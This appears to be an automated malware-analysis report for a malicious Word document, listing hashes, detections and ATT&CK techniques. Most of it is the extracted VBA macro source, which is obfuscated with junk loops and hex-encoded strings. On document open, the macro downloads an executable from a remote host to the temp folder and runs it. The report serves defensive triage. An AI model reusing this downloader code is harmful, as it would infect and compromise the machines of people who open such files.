Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 07b3284bc17ea667…

MALICIOUS

Office (OLE)

68.5 KB Created: 2014-11-24 10:12:00 Authoring application: Microsoft Office Word First seen: 2015-01-15
MD5: 4cbc955ea75fa3edff0f73c2ca859119 SHA-1: d06338832a87c9e44c73ea53bb1e7a429c759fea SHA-256: 07b3284bc17ea667c8239d402a70005150ab005508234f8f4c6e9b11698287c7
486 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

This Office document contains obfuscated VBA macros, including an AutoOpen macro, that utilize the URLDownloadToFile API. This indicates the document's primary purpose is to download and execute a secondary payload from a remote source. The presence of obfuscation and the use of a downloader function strongly suggest malicious intent.

Heuristics 14

  • ClamAV: Doc.Downloader.Macr-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Macr-2
  • Reference to URLDownloadToFile API critical SC_STR_URLDOWNLOAD
    Reference to URLDownloadToFile API
  • VBA macros detected medium 7 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        gffUYUdfg = Shell(xTysdfsdf, 1)
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
        Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias _
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        gffUYUdfg = Shell(xTysdfsdf, 1)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        xTysdfsdf = Environ(HexToString("54454D50")) & HexToString("5C545955686664745555556473662E657865")
  • Reference to LoadLibrary API high SC_STR_LOADLIBRARY
    Reference to LoadLibrary API
  • Reference to GetProcAddress API high SC_STR_GETPROCADDRESS
    Reference to GetProcAddress API
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 22210 bytes
SHA-256: 7edbbae253c3c33619dfeb41b5a65f5d9848c5e05650d454150a0de1051398be
Detection
ClamAV: No threats found
Obfuscation or payload: likely
147 of 227 identifiers look randomly generated (e.g. 'drMOYicFVoIcVLr') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
#If VBA7 Then
    Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias _
    "URLDownloadToFileA" (ByVal pCaller As LongPtr, _
    ByVal szURL As String, _
    ByVal szFileName As String, _
    ByVal dwReserved As Long, _
    ByVal lpfnCB As LongPtr) As LongPtr
#Else
    Private Declare Function URLDownloadToFile Lib "urlmon" Alias _
    "URLDownloadToFileA" (ByVal pCaller As Long, _
    ByVal szURL As String, _
    ByVal szFileName As String, _
    ByVal dwReserved As Long, _
    ByVal lpfnCB As Long) As Long
#End If

Sub GYretgfd()

Dim mmrmVQfE As Integer

Dim lZhPpZiG As Integer

Dim HXeDBhEA As Integer
HXeDBhEA = 9
Do While HXeDBhEA < 71
DoEvents: HXeDBhEA = HXeDBhEA + 1
Loop

lZhPpZiG = 5
Do While lZhPpZiG < 37

Dim xfciBOqo As Integer
xfciBOqo = 5
Do While xfciBOqo < 44
DoEvents: xfciBOqo = xfciBOqo + 1
Loop

DoEvents: lZhPpZiG = lZhPpZiG + 1

Dim LIdaFdDK As Integer
LIdaFdDK = 2
Do While LIdaFdDK < 41
DoEvents: LIdaFdDK = LIdaFdDK + 1
Loop

Loop


Dim TfaXlvag As Integer
TfaXlvag = 9
Do While TfaXlvag < 26
DoEvents: TfaXlvag = TfaXlvag + 1
Loop

mmrmVQfE = 5
Do While mmrmVQfE < 35

Dim uebWoJUk As Integer

Dim DkuvrkbI As Integer
DkuvrkbI = 8
Do While DkuvrkbI < 13
DoEvents: DkuvrkbI = DkuvrkbI + 1
Loop

uebWoJUk = 2
Do While uebWoJUk < 12

Dim YyPpIcRa As Integer
YyPpIcRa = 7
Do While YyPpIcRa < 25
DoEvents: YyPpIcRa = YyPpIcRa + 1
Loop

DoEvents: uebWoJUk = uebWoJUk + 1

Dim cizLTRqq As Integer
cizLTRqq = 5
Do While cizLTRqq < 43
DoEvents: cizLTRqq = cizLTRqq + 1
Loop

Loop


Dim cemloRun As Integer
cemloRun = 5
Do While cemloRun < 31
DoEvents: cemloRun = cemloRun + 1
Loop

DoEvents: mmrmVQfE = mmrmVQfE + 1

Dim hzycmISh As Integer

Dim oKlTowyd As Integer
oKlTowyd = 3
Do While oKlTowyd < 72
DoEvents: oKlTowyd = oKlTowyd + 1
Loop

hzycmISh = 4
Do While hzycmISh < 84

Dim coWxhinf As Integer
coWxhinf = 8
Do While coWxhinf < 15
DoEvents: coWxhinf = coWxhinf + 1
Loop

DoEvents: hzycmISh = hzycmISh + 1

Dim MZOhtQeC As Integer
MZOhtQeC = 3
Do While MZOhtQeC < 12
DoEvents: MZOhtQeC = MZOhtQeC + 1
Loop

Loop


Dim OGivNKyg As Integer
OGivNKyg = 7
Do While OGivNKyg < 69
DoEvents: OGivNKyg = OGivNKyg + 1
Loop

Loop


Dim oGOiVFJI As Integer

Dim bXVicatM As Integer
bXVicatM = 6
Do While bXVicatM < 41
DoEvents: bXVicatM = bXVicatM + 1
Loop

oGOiVFJI = 3
Do While oGOiVFJI < 72

Dim DfnBEDbW As Integer
DfnBEDbW = 8
Do While DfnBEDbW < 74
DoEvents: DfnBEDbW = DfnBEDbW + 1
Loop

DoEvents: oGOiVFJI = oGOiVFJI + 1

Dim KPaVyTZJ As Integer
KPaVyTZJ = 9
Do While KPaVyTZJ < 41
DoEvents: KPaVyTZJ = KPaVyTZJ + 1
Loop

Loop


Dim uaZGdlCK As Integer
uaZGdlCK = 2
Do While uaZGdlCK < 74
DoEvents: uaZGdlCK = uaZGdlCK + 1
Loop

wVVVfg
End Sub
Sub AutoOpen()

Dim xufUDIcL As Integer

Dim lPTxWEEe As Integer

Dim lEyEIaph As Integer
lEyEIaph = 5
Do While lEyEIaph < 37
DoEvents: lEyEIaph = lEyEIaph + 1
Loop

lPTxWEEe = 7
Do While lPTxWEEe < 53

Dim oGESZodU As Integer
oGESZodU = 3
Do While oGESZodU < 19
DoEvents: oGESZodU = oGESZodU + 1
Loop

DoEvents: lPTxWEEe = lPTxWEEe + 1

Dim DkimjYUd As Integer
DkimjYUd = 8
Do While DkimjYUd < 13
DoEvents: DkimjYUd = DkimjYUd + 1
Loop

Loop


Dim HBGLGbuh As Integer
HBGLGbuh = 9
Do While HBGLGbuh < 44
DoEvents: HBGLGbuh = HBGLGbuh + 1
Loop

xufUDIcL = 5
Do While xufUDIcL < 71

Dim DfAFUiEL As Integer

Dim ZnLcvieJ As Integer
ZnLcvieJ = 6
Do While ZnLcvieJ < 28
DoEvents: ZnLcvieJ = ZnLcvieJ + 1
Loop

DfAFUiEL = 8
Do While DfAFUiEL < 74

Dim bWuwkpVt As Integer
bWuwkpVt = 6
Do While bWuwkpVt < 13
DoEvents: bWuwkpVt = bWuwkpVt + 1
Loop

DoEvents: DfAFUiEL = DfAFUiEL + 1

Dim RlUwLeaz As Integer
RlUwLeaz = 6
Do While RlUwLeaz < 55
DoEvents: RlUwLeaz = RlUwLeaz + 1
Loop

Loop


Dim IMPpQBDq As Integer
IMPpQBDq = 9
Do While IMPpQBDq < 85
DoEvents: IMPpQBDq = IMPpQBDq + 1
Loop

DoEvents: xufUDIcL = xufUDIcL + 1

Dim jWOiaZQk As Integer

Dim qZGFgkYK As Integer
qZGFgkYK = 3
Do While qZGFgkYK < 55
DoEvents: qZGFgkYK = qZGFgkYK + 1
Loop

jWOiaZQk = 4
Do While jWOiaZQk < 68

Dim wkseSyVK As Integer
wkseSyVK = 5
Do While wkseSyVK < 73
DoEvents: wkseSyVK = wkseSyVK + 1
Loop

DoEvents: jWOiaZQk = jWOiaZQk + 1

Dim AOikUafM As Integer
AOikUafM = 6
Do While AOikUafM < 58
DoEvents: AOikUafM = AOikUafM + 1
Loop

Loop


Dim KQCuPYsO As Integer
KQCuPYsO = 9
Do While KQCuPYsO < 79
DoEvents: KQCuPYsO = KQCuPYsO + 1
Loop

Loop


Dim crxoomfx As Integer

Dim Gyqoqptg As Integer
Gyqoqptg = 8
Do While Gyqoqptg < 73
DoEvents: Gyqoqptg = Gyqoqptg + 1
Loop

crxoomfx = 5
Do While crxoomfx < 71

Dim dhHFdPWN As Integer
dhHFdPWN = 3
Do While dhHFdPWN < 25
DoEvents: dhHFdPWN = dhHFdPWN + 1
Loop

DoEvents: crxoomfx = crxoomfx + 1

Dim lISeiTpe As Integer
lISeiTpe = 7
Do While lISeiTpe < 91
DoEvents: lISeiTpe = lISeiTpe + 1
Loop

Loop


Dim snLvkIeg As Integer
snLvkIeg = 6
Do While snLvkIeg < 88
DoEvents: snLvkIeg = snLvkIeg + 1
Loop

    GYretgfd
End Sub
Sub Workbook_Open()

Dim YadQnnby As Integer

Dim xoXdhVYp As Integer

Dim AOybeftU As Integer
AOybeftU = 6
Do While AOybeftU < 58
DoEvents: AOybeftU = AOybeftU + 1
Loop

xoXdhVYp = 5
Do While xoXdhVYp < 44

Dim dgMmIblr As Integer
dgMmIblr = 4
Do While dgMmIblr < 25
DoEvents: dgMmIblr = dgMmIblr + 1
Loop

DoEvents: xoXdhVYp = xoXdhVYp + 1

Dim FdAzoPAs As Integer
FdAzoPAs = 8
Do While FdAzoPAs < 36
DoEvents: FdAzoPAs = FdAzoPAs + 1
Loop

Loop


Dim nKgCDXFI As Integer
nKgCDXFI = 6
Do While nKgCDXFI < 12
DoEvents: nKgCDXFI = nKgCDXFI + 1
Loop

YadQnnby = 7
Do While YadQnnby < 52

Dim cthDLVEv As Integer

Dim htPkJzAi As Integer
htPkJzAi = 6
Do While htPkJzAi < 85
DoEvents: htPkJzAi = htPkJzAi + 1
Loop

cthDLVEv = 5
Do While cthDLVEv < 43

Dim gyUZNBdj As Integer
gyUZNBdj = 4
Do While gyUZNBdj < 61
DoEvents: gyUZNBdj = gyUZNBdj + 1
Loop

DoEvents: cthDLVEv = cthDLVEv + 1

Dim XlvoOhqP As Integer
XlvoOhqP = 9
Do While XlvoOhqP < 85
DoEvents: XlvoOhqP = XlvoOhqP + 1
Loop

Loop


Dim eAsqJiSF As Integer
eAsqJiSF = 2
Do While eAsqJiSF < 97
DoEvents: eAsqJiSF = eAsqJiSF + 1
Loop

DoEvents: YadQnnby = YadQnnby + 1

Dim guYxJtoO As Integer

Dim JCLPiMAx As Integer
JCLPiMAx = 9
Do While JCLPiMAx < 43
DoEvents: JCLPiMAx = JCLPiMAx + 1
Loop

guYxJtoO = 4
Do While guYxJtoO < 85

Dim vaAeeiSK As Integer
vaAeeiSK = 5
Do While vaAeeiSK < 14
DoEvents: vaAeeiSK = vaAeeiSK + 1
Loop

DoEvents: guYxJtoO = guYxJtoO + 1

Dim ypGVuAXk As Integer
ypGVuAXk = 2
Do While ypGVuAXk < 14
DoEvents: ypGVuAXk = ypGVuAXk + 1
Loop

Loop


Dim FfcjzFiD As Integer
FfcjzFiD = 8
Do While FfcjzFiD < 74
DoEvents: FfcjzFiD = FfcjzFiD + 1
Loop

Loop


Dim EcofVJEP As Integer

Dim tkunGFAn As Integer
tkunGFAn = 2
Do While tkunGFAn < 15
DoEvents: tkunGFAn = tkunGFAn + 1
Loop

EcofVJEP = 9
Do While EcofVJEP < 28

Dim bWeKnkAj As Integer
bWeKnkAj = 6
Do While bWeKnkAj < 41
DoEvents: bWeKnkAj = bWeKnkAj + 1
Loop

DoEvents: EcofVJEP = EcofVJEP + 1

Dim djPfoZkU As Integer
djPfoZkU = 4
Do While djPfoZkU < 53
DoEvents: djPfoZkU = djPfoZkU + 1
Loop

Loop


Dim WmlYtHZz As Integer
WmlYtHZz = 9
Do While WmlYtHZz < 57
DoEvents: WmlYtHZz = WmlYtHZz + 1
Loop

    GYretgfd
End Sub
Sub wVVVfg()

Dim GBLjlLEw As Integer

Dim kGyxkaax As Integer

Dim CdeMjppS As Integer
CdeMjppS = 1
Do While CdeMjppS < 84
DoEvents: CdeMjppS = CdeMjppS + 1
Loop

kGyxkaax = 4
Do While kGyxkaax < 39

Dim KQMZHpKM As Integer
KQMZHpKM = 2
Do While KQMZHpKM < 13
DoEvents: KQMZHpKM = KQMZHpKM + 1
Loop

DoEvents: kGyxkaax = kGyxkaax + 1

Dim YuABvmIp As Integer
YuABvmIp = 9
Do While YuABvmIp < 25
DoEvents: YuABvmIp = YuABvmIp + 1
Loop

Loop


Dim HXVfWiNo As Integer
HXVfWiNo = 9
Do While HXVfWiNo < 29
DoEvents: HXVfWiNo = HXVfWiNo + 1
Loop

GBLjlLEw = 8
Do While GBLjlLEw < 44

Dim LYwgIxYe As Integer

Dim HNEChDNX As Integer
HNEChDNX = 9
Do While HNEChDNX < 44
DoEvents: HNEChDNX = HNEChDNX + 1
Loop

LYwgIxYe = 9
Do While LYwgIxYe < 88

Dim LUqwFYbB As Integer
LUqwFYbB = 9
Do While LUqwFYbB < 41
DoEvents: LUqwFYbB = LUqwFYbB + 1
Loop

DoEvents: LYwgIxYe = LYwgIxYe + 1

Dim FqUUwQiq As Integer
FqUUwQiq = 8
Do While FqUUwQiq < 74
DoEvents: FqUUwQiq = FqUUwQiq + 1
Loop

Loop


Dim KKfuMTIg As Integer
KKfuMTIg = 9
Do While KKfuMTIg < 71
DoEvents: KKfuMTIg = KKfuMTIg + 1
Loop

DoEvents: GBLjlLEw = GBLjlLEw + 1

Dim PEofNTcl As Integer

Dim jChNsESr As Integer
jChNsESr = 7
Do While jChNsESr < 93
DoEvents: jChNsESr = jChNsESr + 1
Loop

PEofNTcl = 8
Do While PEofNTcl < 39

Dim IByGfoPL As Integer
IByGfoPL = 9
Do While IByGfoPL < 24
DoEvents: IByGfoPL = IByGfoPL + 1
Loop

DoEvents: PEofNTcl = PEofNTcl + 1

Dim qYfoIELk As Integer
qYfoIELk = 3
Do While qYfoIELk < 28
DoEvents: qYfoIELk = qYfoIELk + 1
Loop

Loop


Dim ZIrVPoHu As Integer
ZIrVPoHu = 6
Do While ZIrVPoHu < 58
DoEvents: ZIrVPoHu = ZIrVPoHu + 1
Loop

Loop


Dim smcyjaeB As Integer

Dim cpGaMZWd As Integer
cpGaMZWd = 5
Do While cpGaMZWd < 44
DoEvents: cpGaMZWd = cpGaMZWd + 1
Loop

smcyjaeB = 3
Do While smcyjaeB < 87

Dim zUDynMjD As Integer
zUDynMjD = 2
Do While zUDynMjD < 98
DoEvents: zUDynMjD = zUDynMjD + 1
Loop

DoEvents: smcyjaeB = smcyjaeB + 1

Dim TfXbMgvs As Integer
TfXbMgvs = 7
Do While TfXbMgvs < 26
DoEvents: TfXbMgvs = TfXbMgvs + 1
Loop

Loop


Dim pQMRnYMD As Integer
pQMRnYMD = 3
Do While pQMRnYMD < 71
DoEvents: pQMRnYMD = pQMRnYMD + 1
Loop

    eFdsgfsdg = HexToString(Chr$(54) & Chr$(56) & Chr$(55) & Chr$(52) & Chr$(55) & Chr$(52) & Chr$(55) & Chr$(48) & Chr$(51) & Chr$(65) & Chr$(50) & Chr$(70) & Chr$(50) & Chr$(70) & Chr$(55) & Chr$(51) & Chr$(54) & Chr$(56) & Chr$(54) & Chr$(49) & Chr$(55) & Chr$(50) & Chr$(54) & Chr$(53) & Chr$(54) & Chr$(52) & Chr$(50) & Chr$(69) & Chr$(55) & Chr$(50) & Chr$(54) & Chr$(49) & Chr$(54) & Chr$(52) & Chr$(54) & Chr$(57) & Chr$(54) & Chr$(70) & Chr$(55) & Chr$(51) & Chr$(54) & Chr$(49) & Chr$(54) & Chr$(50) & Chr$(54) & Chr$(50) & Chr$(54) & Chr$(57) & Chr$(54) & Chr$(49) & Chr$(50) & Chr$(69) & Chr$(54) & Chr$(57) & Chr$(55) & Chr$(52) & Chr$(50) & Chr$(70) & Chr$(54) & Chr$(65) & Chr$(55) & Chr$(51) & Chr$(50) & Chr$(70) & Chr$(54) & Chr$(50) & Chr$(54) & Chr$(57) & Chr$(54) & Chr$(69) & Chr$(50) & Chr$(69) & Chr$(54) & Chr$(53) & Chr$(55) & Chr$(56) & Chr$(54) & Chr$(53))

Dim slUooxyt As Integer

Dim LEIdElVI As Integer

Dim YqpxSYMH As Integer
YqpxSYMH = 7
Do While YqpxSYMH < 54
DoEvents: YqpxSYMH = YqpxSYMH + 1
Loop

LEIdElVI = 9
Do While LEIdElVI < 87

Dim SvnonwpF As Integer
SvnonwpF = 8
Do While SvnonwpF < 76
DoEvents: SvnonwpF = SvnonwpF + 1
Loop

DoEvents: LEIdElVI = LEIdElVI + 1

Dim htIZMHld As Integer
htIZMHld = 4
Do While htIZMHld < 61
DoEvents: htIZMHld = htIZMHld + 1
Loop

Loop


Dim EEnhOorE As Integer
EEnhOorE = 6
Do While EEnhOorE < 29
DoEvents: EEnhOorE = EEnhOorE + 1
Loop

slUooxyt = 3
Do While slUooxyt < 25

Dim whlmfJHm As Integer

Dim OJDfYXtP As Integer
OJDfYXtP = 7
Do While OJDfYXtP < 32
DoEvents: OJDfYXtP = OJDfYXtP + 1
Loop

whlmfJHm = 5
Do While whlmfJHm < 45

Dim qSOIaLSl As Integer
qSOIaLSl = 3
Do While qSOIaLSl < 71
DoEvents: qSOIaLSl = qSOIaLSl + 1
Loop

DoEvents: whlmfJHm = whlmfJHm + 1

Dim DlJzwfWK As Integer
DlJzwfWK = 8
Do While DlJzwfWK < 75
DoEvents: DlJzwfWK = DlJzwfWK + 1
Loop

Loop


Dim aGCEiVeS As Integer
aGCEiVeS = 4
Do While aGCEiVeS < 24
DoEvents: aGCEiVeS = aGCEiVeS + 1
Loop

DoEvents: slUooxyt = slUooxyt + 1

Dim nSMmHOLj As Integer

Dim YihyYovi As Integer
YihyYovi = 7
Do While YihyYovi < 92
DoEvents: YihyYovi = YihyYovi + 1
Loop

nSMmHOLj = 8
Do While nSMmHOLj < 12

Dim iNAuvaHE As Integer
iNAuvaHE = 3
Do While iNAuvaHE < 59
DoEvents: iNAuvaHE = iNAuvaHE + 1
Loop

DoEvents: nSMmHOLj = nSMmHOLj + 1

Dim BzLHxiwF As Integer
BzLHxiwF = 1
Do While BzLHxiwF < 92
DoEvents: BzLHxiwF = BzLHxiwF + 1
Loop

Loop


Dim DlMOCddN As Integer
DlMOCddN = 8
Do While DlMOCddN < 75
DoEvents: DlMOCddN = DlMOCddN + 1
Loop

Loop


Dim evTAniPe As Integer

Dim rnfddjCN As Integer
rnfddjCN = 2
Do While rnfddjCN < 17
DoEvents: rnfddjCN = rnfddjCN + 1
Loop

evTAniPe = 4
Do While evTAniPe < 68

Dim BBtWSjTu As Integer
BBtWSjTu = 1
Do While BBtWSjTu < 92
DoEvents: BBtWSjTu = BBtWSjTu + 1
Loop

DoEvents: evTAniPe = evTAniPe + 1

Dim HawRPcqk As Integer
HawRPcqk = 2
Do While HawRPcqk < 44
DoEvents: HawRPcqk = HawRPcqk + 1
Loop

Loop


Dim JxMoNccJ As Integer
JxMoNccJ = 2
Do While JxMoNccJ < 48
DoEvents: JxMoNccJ = JxMoNccJ + 1
Loop

    xTysdfsdf = Environ(HexToString("54454D50")) & HexToString("5C545955686664745555556473662E657865")

Dim IDxzVBIF As Integer

Dim scihMCno As Integer

Dim WNKjboOV As Integer
WNKjboOV = 9
Do While WNKjboOV < 82
DoEvents: WNKjboOV = WNKjboOV + 1
Loop

scihMCno = 3
Do While scihMCno < 26

Dim sygIYhOG As Integer
sygIYhOG = 3
Do While sygIYhOG < 23
DoEvents: sygIYhOG = sygIYhOG + 1
Loop

DoEvents: scihMCno = scihMCno + 1

Dim phmuEjuX As Integer
phmuEjuX = 3
Do While phmuEjuX < 77
DoEvents: phmuEjuX = phmuEjuX + 1
Loop

Loop


Dim lqwuUzdG As Integer
lqwuUzdG = 5
Do While lqwuUzdG < 96
DoEvents: lqwuUzdG = lqwuUzdG + 1
Loop

IDxzVBIF = 7
Do While IDxzVBIF < 32

Dim iLlxhmud As Integer

Dim mermzpQR As Integer
mermzpQR = 7
Do While mermzpQR < 94
DoEvents: mermzpQR = mermzpQR + 1
Loop

iLlxhmud = 3
Do While iLlxhmud < 11

Dim ECrmtWJc As Integer
ECrmtWJc = 9
Do While ECrmtWJc < 23
DoEvents: ECrmtWJc = ECrmtWJc + 1
Loop

DoEvents: iLlxhmud = iLlxhmud + 1

Dim rCTkIVcq As Integer
rCTkIVcq = 2
Do While rCTkIVcq < 11
DoEvents: rCTkIVcq = rCTkIVcq + 1
Loop

Loop


Dim IbuiMdYT As Integer
IbuiMdYT = 7
Do While IbuiMdYT < 66
DoEvents: IbuiMdYT = IbuiMdYT + 1
Loop

DoEvents: IDxzVBIF = IDxzVBIF + 1

Dim nQzSmBUW As Integer

Dim TGFEYoZF As Integer
TGFEYoZF = 7
Do While TGFEYoZF < 22
DoEvents: TGFEYoZF = TGFEYoZF + 1
Loop

nQzSmBUW = 6
Do While nQzSmBUW < 11

Dim kxgPfrlU As Integer
kxgPfrlU = 4
Do While kxgPfrlU < 98
DoEvents: kxgPfrlU = kxgPfrlU + 1
Loop

DoEvents: nQzSmBUW = nQzSmBUW + 1

Dim VPujCmka As Integer
VPujCmka = 1
Do While VPujCmka < 88
DoEvents: VPujCmka = VPujCmka + 1
Loop

Loop


Dim Ivtbdtmm As Integer
Ivtbdtmm = 7
Do While Ivtbdtmm < 66
DoEvents: Ivtbdtmm = Ivtbdtmm + 1
Loop

Loop


Dim jKWpOpXl As Integer

Dim szRAIkgC As Integer
szRAIkgC = 6
Do While szRAIkgC < 46
DoEvents: szRAIkgC = szRAIkgC + 1
Loop

jKWpOpXl = 4
Do While jKWpOpXl < 83

Dim SBmdyuld As Integer
SBmdyuld = 8
Do While SBmdyuld < 72
DoEvents: SBmdyuld = SBmdyuld + 1
Loop

DoEvents: jKWpOpXl = jKWpOpXl + 1

Dim srxeHZbP As Integer
srxeHZbP = 3
Do While srxeHZbP < 51
DoEvents: srxeHZbP = srxeHZbP + 1
Loop

Loop


Dim qpCBTcVS As Integer
qpCBTcVS = 3
Do While qpCBTcVS < 52
DoEvents: qpCBTcVS = qpCBTcVS + 1
Loop

    pYTgyhf = URLDownloadToFile(0&, eFdsgfsdg, xTysdfsdf, 0&, 0&)
   Dim gffUYUdfg

Dim OIHZnNTe As Integer

Dim QxFDRQUj As Integer

Dim srmmomfb As Integer
srmmomfb = 3
Do While srmmomfb < 84
DoEvents: srmmomfb = srmmomfb + 1
Loop

QxFDRQUj = 8
Do While QxFDRQUj < 38

Dim lkPuCpEc As Integer
lkPuCpEc = 4
Do While lkPuCpEc < 97
DoEvents: lkPuCpEc = lkPuCpEc + 1
Loop

DoEvents: QxFDRQUj = QxFDRQUj + 1

Dim yKXfqluY As Integer
yKXfqluY = 2
Do While yKXfqluY < 11
DoEvents: yKXfqluY = yKXfqluY + 1
Loop

Loop


Dim bbcizcon As Integer
bbcizcon = 8
Do While bbcizcon < 71
DoEvents: bbcizcon = bbcizcon + 1
Loop

OIHZnNTe = 1
Do While OIHZnNTe < 31

Dim pUllTsxz As Integer

Dim pmMmUbwS As Integer
pmMmUbwS = 3
Do While pmMmUbwS < 16
DoEvents: pmMmUbwS = pmMmUbwS + 1
Loop

pUllTsxz = 5
Do While pUllTsxz < 71

Dim JbbXtolV As Integer
JbbXtolV = 9
Do While JbbXtolV < 76
DoEvents: JbbXtolV = JbbXtolV + 1
Loop

DoEvents: pUllTsxz = pUllTsxz + 1

Dim cDkZFbjk As Integer
cDkZFbjk = 5
Do While cDkZFbjk < 12
DoEvents: cDkZFbjk = cDkZFbjk + 1
Loop

Loop


Dim YQVrXQvf As Integer
YQVrXQvf = 7
Do While YQVrXQvf < 21
DoEvents: YQVrXQvf = YQVrXQvf + 1
Loop

DoEvents: OIHZnNTe = OIHZnNTe + 1

Dim gtLkurbV As Integer

Dim xLHOODZn As Integer
xLHOODZn = 5
…

Open this report in the interactive analyzer, or submit your own file for analysis.